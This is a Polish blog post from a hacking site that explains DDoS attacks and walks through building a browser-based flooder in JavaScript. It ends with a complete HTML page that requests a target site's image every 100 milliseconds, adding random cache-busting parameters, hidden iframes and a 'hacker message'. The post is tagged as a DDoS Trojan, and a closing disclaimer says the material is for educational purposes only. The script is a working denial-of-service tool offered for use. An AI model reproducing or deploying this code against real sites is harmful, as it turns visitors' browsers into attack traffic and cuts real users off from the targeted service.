vx7.pl - hacking / coding / vx | Poland |

 Atak odmowy usługi (DDoS) za pomocą JavaScript

Napisane  16 listopada 2018 godz. 23:06 przez  Dawid_vx7

1. Słowem wstępu

Skrót DDoS można rozwinąć jako Distributed Denial of Service co tłumaczy się na język polski jako Rozproszony Atak Odmowy Usługi. Działanie tego typu polega na zablokowaniu dostępu do określonej usługi (np. witryny internetowej) jej użytkownikom. Wykonywane jest to przeważnie przez przeciążenie danej usługi.

Jako prosty przykład można podać wysyłanie żądań do serwera internetowego z wielu komputerów jednocześnie. Serwer będąc w pełni zajętym zalewającymi go żądaniami nie jest w stanie obsługiwać prawdziwych użytkowników. Bardzo znanym i skutecznym sposobem na przejęcie kontroli nad masą komputerów jest infekcja złośliwym oprogramowaniem. Atakujący mając możliwość zdalnie kontrolować zainfekowane maszyny tworzy z nich sieć komputerów zombie określaną jako botnet (sieć botów).

1.1. Język JavaScript (JS)

JavaScript to wysokopoziomowy język interpretowany. Jest jednym z trzech głównych technologii WWW, zaraz obok HTML i CSS. Od swojego początku używany jako język wykonywany po stronie klienta przez przeglądarki internetowe, jednak z czasem znalazł też inne zastosowania.

W celu wykonania kodu JavaScript na stronie internetowej można go załączyć za pomocą <script src=""> podając w parametrze src adres URL do skryptu. Możliwe jest też wstawienie kodu bezpośrednio. Należy go wtedy wpisać pomiędzy znaczniki <script type="text/javascript"> i </script>.

1.2. Ogólny schemat działania

javascript ddos

2. Trochę kodu...

Analizując pomysły jak za pomocą skryptu JS można obciążyć witrynę internetową, łatwo można dojść do wniosku, żeby pobierać w pętli jej zawartość. Ale jaką zawartość? No na przykład obrazy.
Następujący kod:

var pic = new Image(); pic.src = 'http://jakas-witryna-do-zaatakowania.pl/Images/test.png';

Spowoduje pobranie obrazu do którego ścieżka podana jest w pic.src. Natomiast za pomocą setInterval można ustawić, aby to pobieranie wykonywało się co określony czas. Jednak podczas testów na przeglądarce Opera okazało się, że obraz zostaje pobrany jeden raz, a na wykresie widać, że kolejne wywołania nie generują ruchu sieciowego.

Brak pobierania obrazu przez przeglądarkę, tylko wczytywanie go z pamięci podręcznej można ominąć dodając do adresu URL parametr z losową wartością. Przykładowy adres URL może wyglądać następująco:
http://jakas-witryna-do-zaatakowania.pl/Images/test.png?p=1410
Przy czym numer podany za parametr powinien być losowany, aby za każdym wywołaniem przeglądarka traktowała go jako nowy adres. Losowanie wartości parametru można wykonać za pomocą Math.random().

Wstępny kod źródłowy prezentuje się następująco:

function imgFlood() { var target = 'http://jakas-witryna-do-zaatakowania.pl/Images/test.png'; var pic = new Image(); var rand1 = Math.floor(Math.random() * Number.MAX_SAFE_INTEGER); pic.src = target + '?r=' + rand1; } setInterval(imgFlood, 100); //odstęp czasowy w milisekundach


3. JavaScript DDoS — kod źródłowy

Poniżej przedstawiono kompletny kod źródłowy przykładu prezentującego atak typu DDoS za pomocą języka JavaScript. Funkcja imgFlood powoduje pobranie obrazka z adresu podanego w imageURL ze strony podanej w zmiennej target. Obrazek pobierany jest na dwa sposoby (new Image();) oraz poprzez załadowanie do <iframe>.
Zmienna hackerMessage zawiera tekst przesyłany jako dodatkowy parametr URL. Bardzo prawdopodobne jest, że przy analizie logów serwera, ktoś odczyta tę wiadomość.

<!doctype html> <html lang="pl"> <head> <meta charset="utf-8"> <title>JavaScript DDoS by vx7.pl</title> </head> <body> <script type="text/javascript"> function imgFlood() { var target = 'http://jakas-witryna-do-zaatakowania.pl'; var imageURL = '/Images/test.png'; var hackerMessage = 'Hello'; var pic = new Image(); var rand1 = Math.floor(Math.random() * Number.MAX_SAFE_INTEGER); pic.src = target + imageURL + '?m=' + hackerMessage + '&r=' + rand1; document.body.innerHTML += '<iframe src="' + target + imageURL + '?m=' + hackerMessage + '&r=' + rand1 + '" style="display:none;"></iframe>'; } setInterval(imgFlood, 100); </script> </body> </html>

Pozdrawiam, Dawid.

Tagi:  hacking  DDoS  Trojan-DDoS 


Wszystkie treści, kody źródłowe i programy umieszczone na portalu vx7.pl są chronione prawem autorskim. Surowo zabronione jest kopiowanie i rozpowszechnianie zawartości tej witryny bez zgody autora. Wszelkie materiały opublikowane na portalu vx7.pl służą jedynie celom edukacyjnym. Autorzy portalu vx7.pl i materiałów umieszczanych na nim nie biorą odpowiedzialności za niewłaściwe wykorzystanie udostępnionych zasobów. Nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania zasobów zawartych w witrynie. Osoby zarządzające portalem vx7.pl zastrzegają sobie prawo do usunięcia wpisów opublikowanych przez użytkowników bez podania przyczyny. Wszelkie znaki towarowe i nazwy zastrzeżone zostały użyte jedynie w celach informacyjnych i należą wyłącznie do ich prawnych właścicieli. Korzystając z zasobów portalu vx7.pl oświadczasz, że akceptujesz powyższe warunki.